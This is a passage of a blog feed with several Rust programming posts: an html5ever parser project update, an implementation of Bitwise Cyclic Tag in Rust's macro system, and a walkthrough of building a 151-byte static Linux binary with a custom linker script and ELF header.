<p>Thanks for reading! You can find the code in a <a href="https://github.com/kmcallister/gc-models">GitHub repository</a> which I'll update if/when we get around to modeling more complex GCs.</p>keeganhttp://www.blogger.com/profile/12227260241426017476noreply@blogger.com163tag:blogger.com,1999:blog-1563623855220143059.post-33064851163253391732015-03-18T15:29:00.000-07:002015-03-18T15:29:20.872-07:00html5ever project update: one year!<p>I started <a href="https://github.com/servo/html5ever">the html5ever project</a> just a bit over <a href="https://github.com/servo/html5ever/commit/ed20f90f02900cfac093e23351d28d98d190e8dd">one year ago</a>. We
adopted the current name last July.</p>
<pre><code class="language-text"><kmc> maybe the whole project needs a better name, idk
<Ms2ger> htmlparser, perhaps
<jdm> tagsoup
<Ms2ger> UglySoup
<Ms2ger> Since BeautifulSoup is already taken
<jdm> html5ever
<Ms2ger> No
<jdm> you just hate good ideas
<pcwalton> kmc: if you don't call it html5ever that will be a massive missed opportunity
</code></pre>
<p>By that point we already had a few contributors. Now we have <a href="https://github.com/servo/html5ever/graphs/contributors">469 commits from
18 people</a>, which is just amazing. Thank you to everyone who helped
with the project. Over the past year we've upgraded Rust almost 50 times; I'm
extremely grateful to the community members who had a turn at this Sisyphean
task.</p>
<p>Several people have also contributed major enhancements. For example:</p>
<ul>
<li><p>Clark Gaebel implemented <a href="https://github.com/servo/html5ever/pull/60">zero-copy parsing</a>. I'm in the process of reviewing
this code and will be landing pieces of it in the next few weeks.</p></li>
<li><p>Josh Matthews made it possible to suspend and resume parsing from the tree sink.
<a href="https://github.com/servo/servo">Servo</a> needs this to do async resource fetching for external <code><script></code>s of the
old-school (non-<code>async</code>/<code>defer</code>) variety.</p></li>
<li><p>Chris Paris implemented fragment parsing and improved serialization. This means
Servo can use html5ever not only for parsing whole documents, but also for
the <code>innerHTML</code>/<code>outerHTML</code> getters and setters within the DOM.</p></li>
<li><p>Adam Roben brought us dramatically closer to spec conformance. Aside from foreign
(XML) content and <code><template></code>, we pass 99.6% of the html5lib tokenizer and tree
builder tests! Adam also improved the build and test infrastructure in a number
of ways.</p></li>
</ul>
<p>I'd also like to thank Simon Sapin for doing the initial review of my code, and
finding a few bugs in the process.</p>
<p>html5ever makes <a href="http://kmcallister.github.io/talks/rust/2014-rust-macros/slides.html">heavy use</a> of Rust's metaprogramming features. It's been
something of a wild ride, and we've collaborated with the Rust team in a number
of ways. Felix Klock <a href="https://github.com/rust-lang/rust/pull/16477">came through in a big
way</a> when a Rust upgrade
broke the entire tree builder. Lately, I've been working on improvements to
Rust's macro system ahead of the <a href="http://blog.rust-lang.org/2015/02/13/Final-1.0-timeline.html">1.0
release</a>, based
in part on my experience with html5ever.</p>
<p>Even with the early-adopter pains, the use of metaprogramming was absolutely
worth it. Most of the spec-conformance patches were only a few lines, because
our encoding of parser rules is so close to what's written in the spec. This
is especially valuable with a "living standard" like HTML.</p>
<h1 id="the-future" class='section-header'>The future</h1>
<p>Two upcoming enhancements are a high priority for Web compatibility in Servo:</p>
<ul>
<li><p><a href="https://github.com/servo/html5ever/issues/18">Character encoding detection and conversion</a>.
This will build on the zero-copy UTF-8 parsing mentioned above. Non-UTF-8 content
(~15% of the Web) will have "one-copy parsing" after a conversion to UTF-8. This keeps the
parser itself lean and mean.</p></li>
<li><p><a href="https://github.com/servo/html5ever/issues/6"><code>document.write</code> support</a>. This API can
insert arbitrary UTF-16 code units (which might not even be valid Unicode) in the
middle of the UTF-8 stream. To handle this, we might switch to
<a href="http://simonsapin.github.io/wtf-8/">WTF-8</a>. Along with <code>document.write</code> we'll start
to do <a href="https://github.com/servo/html5ever/issues/25">speculative parsing</a>.</p></li>
</ul>
<p>It's likely that I'll work on one or both of these in the next quarter.</p>
<p>Servo may get SVG support in the near future, thanks to
<a href="https://github.com/gabelerner/canvg">canvg</a>. SVG nodes can be embedded in
HTML or loaded from an external XML file. To support the first case, html5ever
needs to implement WHATWG's rules for parsing foreign content in HTML. To
handle external SVG we could use a proper XML parser, or we could extend
html5ever to support "<a href="https://github.com/servo/html5ever/issues/43">XML5</a>", an
error-tolerant XML syntax similar to WHATWG HTML. Ygg01 made some progress
towards implementing XML5. Servo would most likely use it for XHTML as well.</p>
<p>Improved performance is always a goal. html5ever describes itself as
"high-performance" but does not have specific comparisons to other HTML
parsers. I'd like to fix that in the near future. Zero-copy parsing will be a
substantial improvement, once some <a href="http://internals.rust-lang.org/t/the-sad-state-of-zero-on-drop/944">performance issues in
Rust</a> get
<a href="https://github.com/rust-lang/rfcs/blob/master/text/0320-nonzeroing-dynamic-drop.md">fixed</a>.
I'd like to revisit <a href="https://github.com/servo/html5ever/issues/22">SSE-accelerated
parsing</a> as well.</p>
<p>I'd also like to support <a href="https://github.com/servo/html5ever/issues/53">html5ever on some stable Rust 1.<i>x</i>
version</a>, although it probably
won't happen for 1.0.0. The main obstacle here is procedural macros. Erick
Tryzelaar has done some great work recently with
<a href="https://github.com/erickt/rust-syntex">syntex</a>,
<a href="https://github.com/erickt/rust-aster">aster</a>, and
<a href="https://github.com/erickt/rust-quasi">quasi</a>. Switching to this ecosystem will
get us close to 1.<i>x</i> compatibility <em>and</em> will clean up the macro code quite a
bit. I'll be working with Erick to use html5ever as an early validation of his
approach.</p>
<p>Simon has extracted Servo's CSS selector matching engine as <a href="https://github.com/servo/rust-selectors">a stand-alone
library</a>. Combined with html5ever this
provides most of the groundwork for <a href="http://users.rust-lang.org/t/kuchiki-a-vaporware-html-xml-tree-manipulation-library/435">a full-featured HTML manipulation
library</a>.</p>
<p>The C API for html5ever still builds, thanks to continuous integration. But
it's not complete or well-tested. With the <a href="https://github.com/rust-lang/rust/pull/19654">removal of Rust's
runtime</a>, maintaining the C API
does not restrict the kind of code we can write in other parts of the parser.
All we need now is to <a href="https://github.com/servo/html5ever/issues/33">complete the C
API</a> and write tests. This would
be a great thing for a community member to work on. Then we can write bindings
for every language under the sun and bring fast, correct, memory-safe HTML
parsing to the masses :)</p>keeganhttp://www.blogger.com/profile/12227260241426017476noreply@blogger.com102tag:blogger.com,1999:blog-1563623855220143059.post-87022722892076265562015-02-20T17:55:00.001-08:002015-02-20T17:55:59.852-08:00Turing tarpits in Rust's macro system<a href="http://esolangs.org/wiki/Bitwise_Cyclic_Tag">Bitwise Cyclic Tag</a> is an
extremely simple automaton slash programming language. BCT uses a program
string and a data string, each made of bits. The program string is interpreted
as if it were infinite, by looping back around to the first bit.</p>
<p>The program consists of commands executed in order. There is a single one-bit
command:</p>
<blockquote>
<p><strong>0</strong>: Delete the left-most data bit.</p>
</blockquote>
<p>and a single two-bit command:</p>
<blockquote>
<p><strong>1</strong> <em>x</em>: If the left-most data bit is 1, copy bit <em>x</em> to the right of the data string.</p>
</blockquote>
<p>We halt if ever the data string is empty.</p>
<p>Remarkably, this is enough to do <a href="http://esolangs.org/wiki/Turing_tarpit">universal
computation</a>. Implementing it in
<a href="http://doc.rust-lang.org/book/macros.html">Rust's macro system</a> gives a proof
(probably not the first one) that Rust's macro system is Turing-complete, aside
from the recursion limit imposed by the compiler.</p>
<pre id='rust-example-rendered' class='rust '>
<span class='attribute'>#<span class='op'>!</span>[<span class='ident'>feature</span>(<span class='ident'>trace_macros</span>)]</span>
<span class='macro'>macro_rules</span><span class='macro'>!</span> <span class='ident'>bct</span> {
<span class='comment'>// cmd 0: d ... => ...</span>
(<span class='number'>0</span>, $(<span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>ps</span>:<span class='ident'>tt</span>),<span class='op'>*</span> ; <span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>_d</span>:<span class='ident'>tt</span>)
<span class='op'>=></span> (<span class='macro'>bct</span><span class='macro'>!</span>($(<span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>ps</span>),<span class='op'>*</span>, <span class='number'>0</span> ; ));
(<span class='number'>0</span>, $(<span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>ps</span>:<span class='ident'>tt</span>),<span class='op'>*</span> ; <span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>_d</span>:<span class='ident'>tt</span>, $(<span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>ds</span>:<span class='ident'>tt</span>),<span class='op'>*</span>)
<span class='op'>=></span> (<span class='macro'>bct</span><span class='macro'>!</span>($(<span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>ps</span>),<span class='op'>*</span>, <span class='number'>0</span> ; $(<span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>ds</span>),<span class='op'>*</span>));
<span class='comment'>// cmd 1p: 1 ... => 1 ... p</span>
(<span class='number'>1</span>, <span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>p</span>:<span class='ident'>tt</span>, $(<span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>ps</span>:<span class='ident'>tt</span>),<span class='op'>*</span> ; <span class='number'>1</span>)
<span class='op'>=></span> (<span class='macro'>bct</span><span class='macro'>!</span>($(<span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>ps</span>),<span class='op'>*</span>, <span class='number'>1</span>, <span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>p</span> ; <span class='number'>1</span>, <span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>p</span>));
(<span class='number'>1</span>, <span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>p</span>:<span class='ident'>tt</span>, $(<span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>ps</span>:<span class='ident'>tt</span>),<span class='op'>*</span> ; <span class='number'>1</span>, $(<span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>ds</span>:<span class='ident'>tt</span>),<span class='op'>*</span>)
<span class='op'>=></span> (<span class='macro'>bct</span><span class='macro'>!</span>($(<span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>ps</span>),<span class='op'>*</span>, <span class='number'>1</span>, <span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>p</span> ; <span class='number'>1</span>, $(<span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>ds</span>),<span class='op'>*</span>, <span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>p</span>));
<span class='comment'>// cmd 1p: 0 ... => 0 ...</span>
(<span class='number'>1</span>, <span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>p</span>:<span class='ident'>tt</span>, $(<span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>ps</span>:<span class='ident'>tt</span>),<span class='op'>*</span> ; $(<span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>ds</span>:<span class='ident'>tt</span>),<span class='op'>*</span>)
<span class='op'>=></span> (<span class='macro'>bct</span><span class='macro'>!</span>($(<span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>ps</span>),<span class='op'>*</span>, <span class='number'>1</span>, <span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>p</span> ; $(<span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>ds</span>),<span class='op'>*</span>));
<span class='comment'>// halt on empty data string</span>
( $(<span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>ps</span>:<span class='ident'>tt</span>),<span class='op'>*</span> ; )
<span class='op'>=></span> (());
}
<span class='kw'>fn</span> <span class='ident'>main</span>() {
<span class='macro'>trace_macros</span><span class='macro'>!</span>(<span class='boolval'>true</span>);
<span class='macro'>bct</span><span class='macro'>!</span>(<span class='number'>0</span>, <span class='number'>0</span>, <span class='number'>1</span>, <span class='number'>1</span>, <span class='number'>1</span> ; <span class='number'>1</span>, <span class='number'>0</span>, <span class='number'>1</span>);
}
</pre>
<p>This produces the following compiler output:</p>
<pre><code class="language-text">bct! { 0 , 0 , 1 , 1 , 1 ; 1 , 0 , 1 }
bct! { 0 , 1 , 1 , 1 , 0 ; 0 , 1 }
bct! { 1 , 1 , 1 , 0 , 0 ; 1 }
bct! { 1 , 0 , 0 , 1 , 1 ; 1 , 1 }
bct! { 0 , 1 , 1 , 1 , 0 ; 1 , 1 , 0 }
bct! { 1 , 1 , 1 , 0 , 0 ; 1 , 0 }
bct! { 1 , 0 , 0 , 1 , 1 ; 1 , 0 , 1 }
bct! { 0 , 1 , 1 , 1 , 0 ; 1 , 0 , 1 , 0 }
bct! { 1 , 1 , 1 , 0 , 0 ; 0 , 1 , 0 }
bct! { 1 , 0 , 0 , 1 , 1 ; 0 , 1 , 0 }
bct! { 0 , 1 , 1 , 1 , 0 ; 0 , 1 , 0 }
bct! { 1 , 1 , 1 , 0 , 0 ; 1 , 0 }
bct! { 1 , 0 , 0 , 1 , 1 ; 1 , 0 , 1 }
bct! { 0 , 1 , 1 , 1 , 0 ; 1 , 0 , 1 , 0 }
bct! { 1 , 1 , 1 , 0 , 0 ; 0 , 1 , 0 }
bct! { 1 , 0 , 0 , 1 , 1 ; 0 , 1 , 0 }
bct! { 0 , 1 , 1 , 1 , 0 ; 0 , 1 , 0 }
...
bct.rs:19:13: 19:45 error: recursion limit reached while expanding the macro `bct`
bct.rs:19 => (bct!($($ps),*, 1, $p ; $($ds),*));
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
</code></pre>
<p>You can <a href="http://is.gd/AtL7bG">try it online</a>, as well.</p>
<h1 id="notes-about-the-macro" class='section-header'>Notes about the macro</h1>
<p>I would much rather drop the commas and write</p>
<pre id='rust-example-rendered' class='rust '>
<span class='comment'>// cmd 0: d ... => ...</span>
(<span class='number'>0</span> $(<span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>ps</span>:<span class='ident'>tt</span>)<span class='op'>*</span> ; <span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>_d</span>:<span class='ident'>tt</span> $(<span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>ds</span>:<span class='ident'>tt</span>)<span class='op'>*</span>)
<span class='op'>=></span> (<span class='macro'>bct</span><span class='macro'>!</span>($(<span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>ps</span>)<span class='op'>*</span> <span class='number'>0</span> ; $(<span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>ds</span>)<span class='op'>*</span>));
<span class='comment'>// cmd 1p: 1 ... => 1 ... p</span>
(<span class='number'>1</span> <span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>p</span>:<span class='ident'>tt</span> $(<span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>ps</span>:<span class='ident'>tt</span>)<span class='op'>*</span> ; <span class='number'>1</span> $(<span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>ds</span>:<span class='ident'>tt</span>)<span class='op'>*</span>)
<span class='op'>=></span> (<span class='macro'>bct</span><span class='macro'>!</span>($(<span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>ps</span>)<span class='op'>*</span> <span class='number'>1</span> <span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>p</span> ; <span class='number'>1</span> $(<span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>ds</span>)<span class='op'>*</span> <span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>p</span>));
<span class='comment'>// cmd 1p: 0 ... => 0 ...</span>
(<span class='number'>1</span> <span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>p</span>:<span class='ident'>tt</span> $(<span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>ps</span>:<span class='ident'>tt</span>)<span class='op'>*</span> ; $(<span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>ds</span>:<span class='ident'>tt</span>)<span class='op'>*</span>)
<span class='op'>=></span> (<span class='macro'>bct</span><span class='macro'>!</span>($(<span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>ps</span>)<span class='op'>*</span> <span class='number'>1</span> <span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>p</span> ; $(<span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>ds</span>)<span class='op'>*</span>));
</pre>
<p>but this runs into the <a href="https://github.com/rust-lang/rfcs/blob/master/text/0550-macro-future-proofing.md">macro future-proofing
rules</a>.</p>
<p>If we're required to have commas, then it's at least nice to handle them
uniformly, e.g.</p>
<pre id='rust-example-rendered' class='rust '>
<span class='comment'>// cmd 0: d ... => ...</span>
(<span class='number'>0</span> $(, <span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>ps</span>:<span class='ident'>tt</span>)<span class='op'>*</span> ; <span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>_d</span>:<span class='ident'>tt</span> $(, <span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>ds</span>:<span class='ident'>tt</span>)<span class='op'>*</span>)
<span class='op'>=></span> (<span class='macro'>bct</span><span class='macro'>!</span>($(<span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>ps</span>),<span class='op'>*</span>, <span class='number'>0</span> ; $(<span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>ds</span>),<span class='op'>*</span>));
<span class='comment'>// cmd 1p: 1 ... => 1 ... p</span>
(<span class='number'>1</span>, <span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>p</span>:<span class='ident'>tt</span> $(, <span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>ps</span>:<span class='ident'>tt</span>)<span class='op'>*</span> ; $(<span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>ds</span>:<span class='ident'>tt</span>),<span class='op'>*</span>)
<span class='op'>=></span> (<span class='macro'>bct</span><span class='macro'>!</span>($(<span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>ps</span>),<span class='op'>*</span>, <span class='number'>1</span>, <span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>p</span> ; <span class='number'>1</span> $(, <span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>ds</span>)<span class='op'>*</span>, <span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>p</span>));
<span class='comment'>// cmd 1p: 0 ... => 0 ...</span>
(<span class='number'>1</span>, <span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>p</span>:<span class='ident'>tt</span> $(, <span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>ps</span>:<span class='ident'>tt</span>)<span class='op'>*</span> ; $(<span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>ds</span>:<span class='ident'>tt</span>),<span class='op'>*</span>)
<span class='op'>=></span> (<span class='macro'>bct</span><span class='macro'>!</span>($(<span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>ps</span>),<span class='op'>*</span>, <span class='number'>1</span>, <span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>p</span> ; $(<span class='macro-nonterminal'>$</span><span class='macro-nonterminal'>ds</span>),<span class='op'>*</span>));
</pre>
<p>But this too is disallowed. An <code>$x:tt</code> variable cannot be followed by a
repetition <code>$(...)*</code>, even though it's (I believe) harmless. There is an <a href="https://github.com/rust-lang/rfcs/pull/733">open
RFC</a> about this issue. For now I
have to handle the "one" and "more than one" cases separately, which is
annoying.</p>
<p>In general, I don't think <code>macro_rules!</code> is a good language for arbitrary
computation. This experiment shows the hassle involved in implementing one of
the simplest known "arbitrary computations". Rather, <code>macro_rules!</code> is good at
expressing patterns of code reuse that <em>don't</em> require elaborate compile-time
processing. It does so in a way that's declarative, hygienic, and high-level.</p>
<p>However, there is a big middle ground of non-elaborate, but non-trivial
computations. <code>macro_rules!</code> is hardly ideal for that, but <a href="http://doc.rust-lang.org/book/plugins.html#syntax-extensions">procedural
macros</a> have
problems of their own. Indeed, the <code>bct!</code> macro is an extreme case of a
pattern I've found useful in the real world. The idea is that every
recursive invocation of a macro gives you another opportunity to pattern-match
the arguments. Some of <a href="http://kmcallister.github.io/talks/rust/2014-rust-macros/slides.html">html5ever's
macros</a>
do this, for example.</p>keeganhttp://www.blogger.com/profile/12227260241426017476noreply@blogger.com162tag:blogger.com,1999:blog-1563623855220143059.post-40146217559955223892015-01-10T18:03:00.000-08:002015-01-10T18:03:34.676-08:00151-byte static Linux binary in Rust<p>Part of the sales pitch for <a href="http://www.rust-lang.org/">Rust</a> is that it's "as
bare metal as C".<sup id="fnref1"><a href="#fn1" rel="footnote">1</a></sup> Rust can do anything C can do, run anywhere C
can run,<sup id="fnref2"><a href="#fn2" rel="footnote">2</a></sup> with code that's just as efficient, and at least as safe
(but usually much safer).</p>
<p>I'd say this claim is about 95% true, which is pretty good by the standards of
marketing claims. A while back I decided to put it to the test, by making the
smallest, most self-contained Rust program possible. After resolving a
<a href="https://github.com/rust-lang/rust/pull/17037">few</a>
<a href="https://github.com/rust-lang/rust/pull/16970">issues</a> along the way, I ended
up with a 151-byte, statically linked executable for AMD64 Linux. With the
<a href="http://blog.rust-lang.org/2015/01/09/Rust-1.0-alpha.html">release of Rust
1.0-alpha</a>, it's time
to show this off.</p>
<p>Here's the Rust code:</p>
<pre class='rust '>
<span class='attribute'>#<span class='op'>!</span>[<span class='ident'>crate_type</span><span class='op'>=</span><span class='string'>"rlib"</span>]</span>
<span class='attribute'>#<span class='op'>!</span>[<span class='ident'>allow</span>(<span class='ident'>unstable</span>)]</span>
<span class='attribute'>#[<span class='ident'>macro_use</span>]</span> <span class='kw'>extern</span> <span class='kw'>crate</span> <span class='ident'>syscall</span>;
<span class='kw'>use</span> <span class='ident'>std</span>::<span class='ident'>intrinsics</span>;
<span class='kw'>fn</span> <span class='ident'>exit</span>(<span class='ident'>n</span>: <span class='ident'>usize</span>) <span class='op'>-></span> <span class='op'>!</span> {
<span class='kw'>unsafe</span> {
<span class='macro'>syscall</span><span class='macro'>!</span>(<span class='ident'>EXIT</span>, <span class='ident'>n</span>);
<span class='ident'>intrinsics</span>::<span class='ident'>unreachable</span>()
}
}
<span class='kw'>fn</span> <span class='ident'>write</span>(<span class='ident'>fd</span>: <span class='ident'>usize</span>, <span class='ident'>buf</span>: <span class='kw-2'>&</span>[<span class='ident'>u8</span>]) {
<span class='kw'>unsafe</span> {
<span class='macro'>syscall</span><span class='macro'>!</span>(<span class='ident'>WRITE</span>, <span class='ident'>fd</span>, <span class='ident'>buf</span>.<span class='ident'>as_ptr</span>(), <span class='ident'>buf</span>.<span class='ident'>len</span>());
}
}
<span class='attribute'>#[<span class='ident'>no_mangle</span>]</span>
<span class='kw'>pub</span> <span class='kw'>fn</span> <span class='ident'>main</span>() {
<span class='ident'>write</span>(<span class='number'>1</span>, <span class='string'>"Hello!\n"</span>.<span class='ident'>as_bytes</span>());
<span class='ident'>exit</span>(<span class='number'>0</span>);
}
</pre>
<p>This uses my <a href="https://crates.io/crates/syscall">syscall library</a>, which
provides the <code>syscall!</code> macro. We wrap the underlying system calls with Rust
functions, each exposing a safe interface to the
<a href="http://doc.rust-lang.org/book/unsafe.html">unsafe</a> <code>syscall!</code> macro. The
<code>main</code> function uses these two safe functions and doesn't need its own <code>unsafe</code>
annotation. Even in such a small program, Rust allows us to isolate memory
unsafety to a subset of the code.</p>
<p>Because of <code>crate_type="rlib"</code>, rustc will build this as a static library, from
which we extract a single object file <code>tinyrust.o</code>:</p>
<pre><code class="language-text">$ rustc tinyrust.rs \
-O -C no-stack-check -C relocation-model=static \
-L syscall.rs/target
$ ar x libtinyrust.rlib tinyrust.o
$ objdump -dr tinyrust.o
0000000000000000 <main>:
0: b8 01 00 00 00 mov $0x1,%eax
5: bf 01 00 00 00 mov $0x1,%edi
a: be 00 00 00 00 mov $0x0,%esi
b: R_X86_64_32 .rodata.str1625
f: ba 07 00 00 00 mov $0x7,%edx
14: 0f 05 syscall
16: b8 3c 00 00 00 mov $0x3c,%eax
1b: 31 ff xor %edi,%edi
1d: 0f 05 syscall
</code></pre>
<p>We disable stack exhaustion checking, as well as position-independent code, in
order to slim down the output. After optimization, the only instructions that
survive come from <a href="https://github.com/kmcallister/syscall.rs/blob/master/src/platform/linux-x86_64/mod.rs">inline assembly blocks in the syscall
library</a>.</p>
<p>Note that <code>main</code> doesn't end in a <code>ret</code> instruction. The <code>exit</code> function
(which gets inlined) is marked with a "return type" of <code>!</code>, meaning <a href="http://doc.rust-lang.org/reference.html#diverging-functions">"doesn't
return"</a>. We make
good on this by invoking the <a href="http://llvm.org/docs/LangRef.html#unreachable-instruction"><code>unreachable</code>
intrinsic</a> after
<code>syscall!</code>. <a href="http://llvm.org">LLVM</a> will optimize under the assumption that we
can never reach this point, making no guarantees about the program behavior if
it is reached. This represents the fact that the kernel is actually going to
kill the process before <code>syscall!(EXIT, n)</code> can return.</p>
<p>Because we use inline assembly and intrinsics, this code is not going to work
on a <a href="http://blog.rust-lang.org/2014/10/30/Stability.html">stable-channel
build</a> of Rust 1.0. It
will require an alpha or nightly build until such time as inline assembly and
<code>intrinsics::unreachable</code> are added to the stable language of Rust 1.x.</p>
<p>Note that I didn't even use <code>#![no_std]</code>! This program is so tiny that
everything it pulls from libstd is a type definition, macro, or fully inlined
function. As a result there's nothing of libstd left in the compiler output.
In a larger program you may need <code>#![no_std]</code>, although its role is <a href="https://github.com/rust-lang/rust/issues/20537">greatly
reduced</a> following the <a href="https://github.com/rust-lang/rust/pull/19654">removal
of Rust's runtime</a>.</p>
<h1 id="linking" class='section-header'>Linking</h1>
<p>This is where things get weird.</p>
<p>Whether we compile from C or Rust,<sup id="fnref3"><a href="#fn3" rel="footnote">3</a></sup> the standard linker toolchain is
going to include a bunch of junk we don't need. So I cooked up my own <a href="https://sourceware.org/binutils/docs/ld/Scripts.html">linker
script</a>:</p>
<pre><code class="language-text">SECTIONS {
. = 0x400078;
combined . : AT(0x400078) ALIGN(1) SUBALIGN(1) {
*(.text*)
*(.data*)
*(.rodata*)
*(.bss*)
}
}
</code></pre>
<p>We smash all the sections together, with no alignment padding, then extract
that section as a headerless binary blob:</p>
<pre><code class="language-text">$ ld --gc-sections -e main -T script.ld -o payload tinyrust.o
$ objcopy -j combined -O binary payload payload.bin
</code></pre>
<p>Finally we stick this on the end of a custom ELF header. The header is written
in <a href="http://www.nasm.us/">NASM</a> syntax but contains no instructions, only data
fields. The base address <code>0x400078</code> seen above is the end of this header, when
the whole file is loaded at <code>0x400000</code>. There's no guarantee that <code>ld</code> will
put <code>main</code> at the beginning of the file, so we need to separately determine the
address of <code>main</code> and fill that in as the <code>e_entry</code> field in the ELF file
header.</p>
<pre><code class="language-text">$ ENTRY=$(nm -f posix payload | grep '^main ' | awk '{print $3}')
$ nasm -f bin -o tinyrust -D entry=0x$ENTRY elf.s
$ chmod +x ./tinyrust
$ ./tinyrust
Hello!
</code></pre>
<p>It works! And the size:</p>
<pre><code class="language-text">$ wc -c < tinyrust
158
</code></pre>
<p>Seven bytes too big!</p>
<h1 id="the-final-trick" class='section-header'>The final trick</h1>
<p>To get down to 151 bytes, I took inspiration from <a href="http://www.muppetlabs.com/%7Ebreadbox/software/tiny/teensy.html">this classic
article</a>, which
observes that padding fields in the ELF header can be used to store other data.
Like, say, <a href="https://github.com/kmcallister/tiny-rust-demo/blob/97975946aad62625c28d053c2396ee5d2609a90c/elf.s#L11-L12">a string
constant</a>.
The Rust code changes to access this constant:</p>
<pre class='rust '>
<span class='kw'>use</span> <span class='ident'>std</span>::{<span class='ident'>mem</span>, <span class='ident'>raw</span>};
<span class='attribute'>#[<span class='ident'>no_mangle</span>]</span>
<span class='kw'>pub</span> <span class='kw'>fn</span> <span class='ident'>main</span>() {
<span class='kw'>let</span> <span class='ident'>message</span>: <span class='kw-2'>&</span><span class='lifetime'>'static</span> [<span class='ident'>u8</span>] <span class='op'>=</span> <span class='kw'>unsafe</span> {
<span class='ident'>mem</span>::<span class='ident'>transmute</span>(<span class='ident'>raw</span>::<span class='ident'>Slice</span> {
<span class='ident'>data</span>: <span class='number'>0x00400008</span> <span class='kw'>as</span> <span class='op'>*</span><span class='kw'>const</span> <span class='ident'>u8</span>,
<span class='ident'>len</span>: <span class='number'>7</span>,
})
};
<span class='ident'>write</span>(<span class='number'>1</span>, <span class='ident'>message</span>);
<span class='ident'>exit</span>(<span class='number'>0</span>);
}
</pre>
<p>A Rust <a href="http://doc.rust-lang.org/book/arrays-vectors-and-slices.html">slice</a>
like <code>&[u8]</code> consists of a pointer to some memory, and a length indicating the
number of elements that may be found there. The module
<a href="http://doc.rust-lang.org/std/raw/index.html"><code>std::raw</code></a> exposes this as an
ordinary struct that we build, then
<a href="http://doc.rust-lang.org/std/mem/fn.transmute.html">transmute</a> to the actual
slice type. The <code>transmute</code> function generates no code; it just tells the type
checker to treat our <code>raw::Slice<u8></code> as if it were a <code>&[u8]</code>. We return this
value out of the <code>unsafe</code> block, taking advantage of the "everything is an
expression" syntax, and then print the message as before.</p>
<p>Trying out the new version:</p>
<pre><code class="language-text">$ rustc tinyrust.rs \
-O -C no-stack-check -C relocation-model=static \
-L syscall.rs/target
$ ar x libtinyrust.rlib tinyrust.o
$ objdump -dr tinyrust.o
0000000000000000 <main>:
0: b8 01 00 00 00 mov $0x1,%eax
5: bf 01 00 00 00 mov $0x1,%edi
a: be 08 00 40 00 mov $0x400008,%esi
f: ba 07 00 00 00 mov $0x7,%edx
14: 0f 05 syscall
16: b8 3c 00 00 00 mov $0x3c,%eax
1b: 31 ff xor %edi,%edi
1d: 0f 05 syscall
...
$ wc -c < tinyrust
151
$ ./tinyrust
Hello!
</code></pre>
<p>The object code is the same as before, except that the relocation for the
string constant has become an absolute address. The binary is smaller by 7
bytes (the size of <code>"Hello!\n"</code>) and it still works!</p>
<p>You can find the full code <a href="https://github.com/kmcallister/tiny-rust-demo">on
GitHub</a>. The code in this article
works on rustc 1.0.0-dev (44a287e6e 2015-01-08). If I update the code on GitHub,
I will also update the version number printed by the included build script.</p>
<p>I'd be curious to hear if anyone can make my program smaller!</p>
<div class="footnotes">
<hr>
<ol>
<li id="fn1">
<p>C is not really "bare metal", but that's <a href="http://blog.llvm.org/2011/05/what-every-c-programmer-should-know.html">another story</a>. <a href="#fnref1" rev="footnote">↩</a></p>
</li>
<li id="fn2">
